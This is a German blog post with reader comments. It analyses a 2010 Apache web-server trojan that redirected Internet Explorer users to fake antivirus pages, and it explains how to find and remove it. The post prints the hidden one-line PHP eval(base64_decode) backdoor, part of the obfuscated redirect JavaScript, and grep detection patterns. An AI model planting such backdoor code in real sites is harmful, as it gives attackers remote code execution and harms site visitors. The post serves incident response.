Über den Author / Internet / JS:Redirect Trojaner auf Webserver (keygenguru)

JS:Redirect Trojaner auf Webserver (keygenguru)

~5 Min. Lesezeit

This article is available in English too. Click here.

Ein seltsamer Trojaner macht momentan die Runde.

Die Webseiten funktionieren ganz normal, die Webfiles scheinen komplett sauber zu sein, doch trotzdem wird ein User gelegentlich von der Webseite auf eine Webseite weitergeleitet, welche mit einer Hoax auffährt.

Die Webseite zeigt dem User verschiedene Meldungen und ein animiertes Flashfilmchen, damit der User glaubt einen Virus auf dem PC zu haben.

Der User wird am Ende aufgefordert den AntiVirus herunterzuladen und erhaltet eine Setup.exe die dann richtige Viren beinhaltet. Solange man diese Datei NICHT herunterladet und das Setup.exe startet, ist der PC sicher und nicht infiziert. User welche die Datei heruntergeladen oder installiert haben, sollten dringendst einen Virenscan laufen lassen.

Davon sind nur Internet Explorer User betroffen, da Safari, Firefox und viele andere Browser die Weiterleitungen ignorieren und eine weisse Seite anzeigen.

Der Trojaner infiziert scheinbar alle Domains auf dem Server und leitet nur gelegentlich weiter, nicht jedes mal. Eigentlich ist es sehr einfach und die Erklärung ist noch einfacher, zum finden jedoch ist er schwer, wenn man nicht weiss wo zu suchen.

Kein Virenscanner wird die infizierten Dateien finden und die Erklärung dafür it einfach (später dazu).

Der Apache erzeugt sogenannte Child’s (Kinder), um die Auslastung zu verteilen. Wenn so ein Apache2 ein Problem hat und beendet wird, wird der User weitergeleitet zum Nächsten und sieht kein Fehler, sondern die normale Seite. Auch verteilt der Apache die User auf den verschiedenen Chield’s, um die Auslastung zu verteilen und auch bei vielen Anfragen keine Probleme zu bekommen. Soweit der normale Betrieb.

Der Virus versteckt sich in einem PHP File, welches auf den infizierenden Server geschafft wird, anschliessend wird per spezieller Aufruf eine Datei im /tmp Verzeichnis generiert und dieses gestartet. Nachdem diese Datei gestartet wurde, löscht sie sich wieder und ist nur noch im Memory zu finden. Dieses File wird als weiteres „Apache Child“ angezeigt und fungiert auch danach.

Der Apache2 verteilt also die User auf den Child Prozessen. Ladet ein User bei einem normalen Child, wird die Webseite normal ausgeliefert, landet der User zufällig beim verseuchten Child, bekommt er ein Schadcode zu Gesicht, wie diesen hier (verkürzter Auszug):

206f
<script type=“text/javascript“ language=“javascript“> var jodmtbm=new Date( ); jodmtbm.setTime(jodmtbm.getTime( )+12*60*60*1000); document.cookie=“\x6e_s\x65ss_i\x64=bf4edc3aa95c\x3285\x619a315669\x6333e25ed“+“; path=/\x3b ex\x70\151\x72es=“+jodmtbm.toGMTString( ); </script>
<script>document.write(String.fromCharCode(59+1,100,105,118,32,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,62))</script>

Kompletter Code hier einsehbar: Link zum TXT File oder die ältere Version virustext2

Dieser Code leitet einem dann auf die manipulierte Seite weiter.

Irgendwann wird selbst Google auf solche Seiten aufmerksam und bemerkt diesen Schadcode. Dann Blacklistet Google diese Webseite und alle User erhalten folgendes Bild zu Gesicht:


Bereinigung:

Zum Bereinigen sollten zuerst alle Apach2 Prozesse beendet werden mit folgenden Befehl:

/etc/init.d/apache2 stop

Mit dem folgendem Script findet dann die infizierte PHP Dateien (Download Link). Im Script selbst kann die Suchmaske angepasst werden:

PAYLOAD=’_POST\[„p“\]‘
#PAYLOAD=’eval *\( *base64_decode‘ # Most evil is behind this snippet. BUT! WordPress also produces this code!
#PAYLOAD=“e[^a-z]*v[^a-z]*a[^a-z]*l[^a-z]*b[^a-z]*a[^a-z]*s[^a-z]*e[^a-z]*6[^a-z]*4[^a-z]*_[^a-z]*d[^a-z]*e[^a-z]*c[^a-z]*o[^a-z]*d[^a-z]*e“

Bei mir hat die erste Suchmaske tadellos geklappt, die 2te Suchmaske bringt auch diverse Falschmeldungen, die 3te Suchmaske ist bei der neuesten Variante des Trojaners scheinbar am Besten.

Die infizierten Files sehen so aus (hat viele verschiedene Varianten): remove_image.php.txt, wobei der Dateiinhalt eigentlich ein wahlloses Open Source Projekt ist, welcher für Ablenkung sorgt.Der schädliche Code ist in der ersten Zeile mit Leerzeichen nach rechts verschoben:

if(isset($_POST['p']) && $_POST['p']=='dbcf842538df03b0d3a6f94a11480b1b'){eval(base64_decode($_POST['c']));exit;}

Mit diesem kleinen Schadcode kann ein spezieller Befehl über die beiden Variablen „p“ und „c“ abgesetzt werden, welcher den Virus immer wieder startet.

Daher findet auch kein Virenscanner die infizierten Files, da der Virus nur für ein paar Millisekunden im /tmp Verzeichnis zu finden ist. wenn man den Apache neu startet, dann wird der Virus erst aktiv, wenn der „Virenadmin“ auf die Seite connected und den Virus mit dem speziellen String uploaded und startet.

99%ig kann man das gesamte File wegwerfen, da er ein neues File erzeugt und nicht bestehende Files befällt. ein File reicht aus, um alle Webseiten und Domains des Servers zu befallen.

Die andere Möglichkeit ist die infizierten Files per Apache2 Logfiles zu suchen und identifizieren. Die Logeinträge sind so:

112.121.1.37 – – [09/Feb/2010:06:34:33 +0100] „POST /acp/database/lang/remove_message.php HTTP/1.1“ 200 32 „http://www.google.com“ „Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)“

Was auffällt ist der Refer, welcher „Alexa Toolbar“ zeigt. Dieser ist immer gleich und so findet man diese Webseiten recht schnell. Eine Suche über alle Logfiles nach dem Refer und die gegebenen Seiten löschen.

Mein Suchscript dafür (für Confixx):

for x in /var/www/web[0-9]*; do
echo „Suche in $x“
cat $x/log/access_log | grep „Alexa Toolbar“
done

Ist das File gelöscht, ist der JS:Redirect endlich weg und der Server wieder clean.


Edit 15.02.2010: Der String welcher abgeschickt wird, nimmt mich wunder. Darin muss einiges an interessantem Material enthalten sein, daher habe ich kurzerhand die infizierte Datei mir dieser ersetzt:

<?php
$fp = fopen("mymalware.log","a");
fwrite($fp,"Datum: ".time("d.m.Y H:i:s",time())." IP: ".$_SERVER[REMOTE_ADDR]."\n");
fwrite($fp,"User Agent: ".$_SERVER[HTTP_USER_AGENT]."\n");
fwrite($fp,"Posts \$_POST[\"p\"]: ".$_POST["p"]."\n");
fwrite($fp,"Posts \$_POST[\"c\"]: ".$_POST["c"]."\n");
fwrite($fp,"Posts base64_decode(\$_POST[\"c\"]): ".base64_decode($_POST["c"])."\n");
fwrite($fp,"--------------------------------------------------------\n");
fclose($fp);
?>

Dadurch werde ich sehr bald schon das komplette Script zum auseinander nehmen haben. Gegebenenfalls lässt sich dadurch noch was lernen 😉

About Stefan

avatar

Ein männlicher IT Nerd, durchstöbert das Web nach speziellen Gadgets, unentbehrlicher Software und Alles was man im IT Sektor nicht verpassen darf.

Immer hilfsbereit wenn Probleme zu lösen sind oder das Unmögliche umgesetzt werden sollte.

Weitere interessante Artikel

User Profile migrieren oder backuppen

~0 Min. LesezeitFirmen synchronisieren User Profile über die Domain. Privatpersonen verlieren oft das User Profil, …

Meine WordPress .htaccess Datei

~0 Min. LesezeitDie .htaccess Datei beinhaltet viele Serveranweisungen, welche ich gerne hier mit Euch Share …

21 Kommentare

  1. avatar

    Hallo Stefan,
    meine Webseite leidet unter der gleichen Krankheit „princeofpersia.unas.cz“. Leider verstehe ich weniger von der Materie als du. Kannst du mir einen Tipp geben, wo ich das bösartige script finde und wie ich es lösche? Meine Seiten findest du unter http://www.omweb.de
    Viele Grüße
    Ole

  2. avatar

    Hallo Ole, hast du die Domain auf dem eigenen Server oder wer ist der Serveradmin?
    Jedenfalls wenn du nicht Serveradmin bist, muss deine Domain NICHT verseucht sein, es reicht 1 Domain um ein ganzer Server damit zu befallen.

    Schreib mir doch ein Mail mit deinen Kontaktdaten auf *entfernt* dann helfe ich dir gerne.

  3. avatar

    Hi Stefan, Danke! Ich hab das Problem seit einen ganzen Jahr auf meinem Server! Serverumzug und trallala alles durch und jetzt dank dir! Ich muss jetzt mal sagen das ich dich liebe 🙂 Quasi!

  4. avatar

    @ Sascha mmhh… also es freut mich sehr, dass Stefan dir helfen konnte. Nur das mit der Liebe find ich, na ja nicht so gut. Da ich Quasi seine Freundin bin… du versteht mich oder 🙂

  5. avatar

    @Skala4u
    Okay da gilt das Vorrecht! Er gehört dir 😛

  6. avatar

    wir haben auf unserer seite das Gleiche Problem, habe den Herrschaften vom Support gestern diese seite geschikt aber die nehmen einen nicht für voll. 🙁
    Heute hatte ich bei Hosteurope dann endlich mal jemanden am Tel. der die Wireshark mitschnitte von Meiner Seite und von den 3 anderen seiten auf dem Server haben wollte und das an die Technik weiterleiten, aber da ist heute keiner……

  7. avatar

    Bekannte Probleme, mit einem ausländischen Hoster habe ich Wochen gestritten.
    Der Support gab immer dem Kunden die Schuld, dass seine Seite es wäre.. Komischerweise meldeten sie sich dann Wochen später weil mehrere Kunden reklamierten und dann endlich probierten sie es aus.
    Es war dann relativ schnell behoben.

  8. avatar

    Hallo Stefan,
    hast Du noch mehr Informationen zu der Art und Weise, wie diese Apache2-Infektion funktioniert, welche Softwarevarianten (Module) davon betroffen sind. Du beschreibst, wie man den Server säubern kann. Was mich interessiert, wie kann ich eine Neuinfektion verhindern. Offensichtlich sind Linux-Server betroffen.

  9. avatar

    Es gibt viele Möglichkeiten für eine Infektion. Unsicherer Scripts (Remote Include, XSS, etc) oder ein gehackter FTP Account. Irgendwie bekommt der Angreifer ein File hoch. Reinfektion kann man nur mit sicheren Passwörtern / Code garantieren.
    Aber auf MultiHoster Seiten, muss man nur 1 Kunde infizieren und alle Kunden haben das Problem (auch wenn ihre Seiten sauber sind).

  10. avatar

    @ Stefan
    Hast Du eine Idee, wie man einen Webmaster von der Existenz dieses Problemes überzeugt bekommt, der steif und fest behauptet, dass das Sicherheitskonzept diese Infektion nicht zulässt und daher mehr oder minder wieder zur Tagesordnung übergeht?

  11. avatar

    Der Server wurde von uns auf seine Sicherheit überprüft. Jegliche Apache Childs die auf der Maschine laufen, sind Apache Childs. Für einen Prozess ist es nahezu unmöglich, sich bei unserem Sicherheitskonzept Berechtigungen zurück zu holen, die es brauchen würde um als Apache Child zu fungieren, da die Childs bei der Instanzierung ihre Privilegien verlieren.

    Ebenfalls wurde keine gelöschten Dateien gefunden, welche noch geöffnet waren. Die Trojaner-Meldung ist somit definitiv in manipulierten Scripten zu suchen. Aus Ihrem Wireshark Protokollen geht lediglich hervor, dass Sie mit dem Webserver kommunizieren.

    Besteht die Problematik auch, wenn Sie auf ein leeres Directory listet Verzeichnis zugreifen. Um dies zu testen sollten ebenfalls übergeordnete .htaccess Dateien entfernt bzw. deaktiviert werden.

    Wir hoffen, dass wir Ihnen mit diesen Angaben weiterhelfen konnten. Sollten Sie noch weitere Fragen haben, stehen wir Ihnen natürlich jederzeit gerne zur Verfügung.

  12. avatar

    Nein ganz klar nicht. Man kann nur den Hoster bitten ein Suchlauf zu machen mit dem Perl Script oder der Logfiles… und das Ganze auszuwerten. Der Aufwand ist rund 2 Stunden. Ist der Hoster nicht willig oder macht den Suchlauf nicht sauber, hat man aber keine Chance.

    Es gibt Möglichkeiten wie man einfach die Sicherheit umgehen kann und dann auf die fremden Hostings kommt. Man kann diese dann durchsuchen und den Virus selbst entfernen. Dies ist strafbar, weil man sich Zugriffe auf die fremden Hostings verschafft. Aus genannten Gründen gebe ich dazu keine Anleitung und empfehle dies auch klar nicht.

    Gesetzlich ist es so, dass ein Kunde das Problem einschleust und die anderen Kunden auch betroffen sind. Der infizierte Kunde haftet und nicht der Provider. Wozu soll er das Problem dann suchen? Zudem versteckt sich das Teil zu gut.

    Das Einzige was man machen kann ist sich auf einen anderen Server umziehen lassen oder den Anbieter wechseln, dazu muss aber deine Webseite sauber sein.

    Erster Schritt, stelle sicher das deine eigene Webseite sauber ist. Wenn Du willst, kann ich dir das auch testen. Dazu ein Zip machen mit allen PHP files (keine DB’s und bitte PW’s entfernen) und mir zusenden. Ich erkläre gerne, dass ich diese Daten nach der Suche komplett lösche und nicht weiterverwende. (Wenn du dies willst blog.murawski.ch ein @ einbauen)

    Nächste Schritt, neuer nicht infizierter Hoster. Zum austesten auf ein neuen Hoster wechseln, DNS umstellen, 2-3 Wochen testen.

  13. avatar

    Maurice : Einen garantierten Schutz gibt es in der Informatik nie. Würde man den Webserver so absichern, könnten die Kunden auch keine richtigen Webseiten mehr hosten. Selbst unter suPHP konnte sich das Fieh im System einnisten und kein Child konnte ich als identifiziert erkennen. Nur mit riesigem Aufwand erkennt man die Childs, was aber nur ein Pole hinbekommen hat.

    Macht mit dem Perl Script eine Suche nach eval, das gibt dann zwar vermutlich eine Menge Rückmeldungen (auch solche die in Ordnung sind) die man einzeln durcharbeiten muss, ist aber die einzige Möglichkeit die Sicherheit zu garantieren.

    Da unterdessen der Virus angepasst wurde, das Google und andere Suchmaschinen immer die normale Webseite erhalten, wird dieser nicht mehr so schnell gefunden. Es werden aber früher oder später andere Kunden ankommen. Verschiebt doch den betroffenen User auf einen anderen Server und dann sollte für ihn das Problem erledigt sein (wenn seine Scripts sauber sind), was ich Ihm offerierte.

  14. avatar

    Ich werde dir die Dateien heute im laufe des Tages gerne schichen! Vielen dank für das Angebot!

    Das was ich oben gepostet habe ist die antwort von Hosteurope auf meine Vermutung!

    Die glauben einfach nicht dran!

    Unsere Seite und noch eine andere seite habe ich gefunden die von Google mit warez software und so eingetragen war scheint also noch die Alte version des Virus zu sein!

  15. avatar

    ps. geht um den Server auf dem thomashasberg.de und tierschutzforum.eu laufen! Fals ich das hier lieber nicht schreiben soll bitte löschen 80.237.132.140!

    Habe bisher noch zig seiten auf dem Server gefunden wo es passier!

  16. avatar

    Hier: http://smaert.com/apache_mischief/writeup.txt
    noch eine schöne Beschreibung des Problems gefunden von Tetti

  17. avatar

    Ganz genial. Ich habe bisher zwar einiges selber gefunden, aber wie ich den Child rausfinde nicht, schaffe das Morgen mal durch, um zu sehen wie genau man die findet etc. Coool.

  18. avatar

    Habe das selbe Problem mein Provider ist Strato die streiten das vehement ab da wir ein kleiner Handwerksbetrieb sind brauchen wir unsere Website wir leben davon brauche dringend hilfe würde mich über eine schnelle Antwort freuen da ich schon zwei Monate mit Strato rumzackere, bin am Ende

    Danke

    meine Website icw-digital.de

  1. Pingback: Ein aktueller Trojaner… | root1024:~$

  2. Pingback: IT Blögg » JS:Redirect Trojan on Webserver (keygenguru) (EN)

  3. Pingback: Trojanisches Pferd > Wordpress > Theme, Antivirus, Trojaner, WordPress, Dantenbank, Backup, Checkliste, X JS: Redirekt Trojaner

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

eMail-Benachrichtigung bei weiteren Kommentaren.
Auch möglich: Abo ohne Kommentar.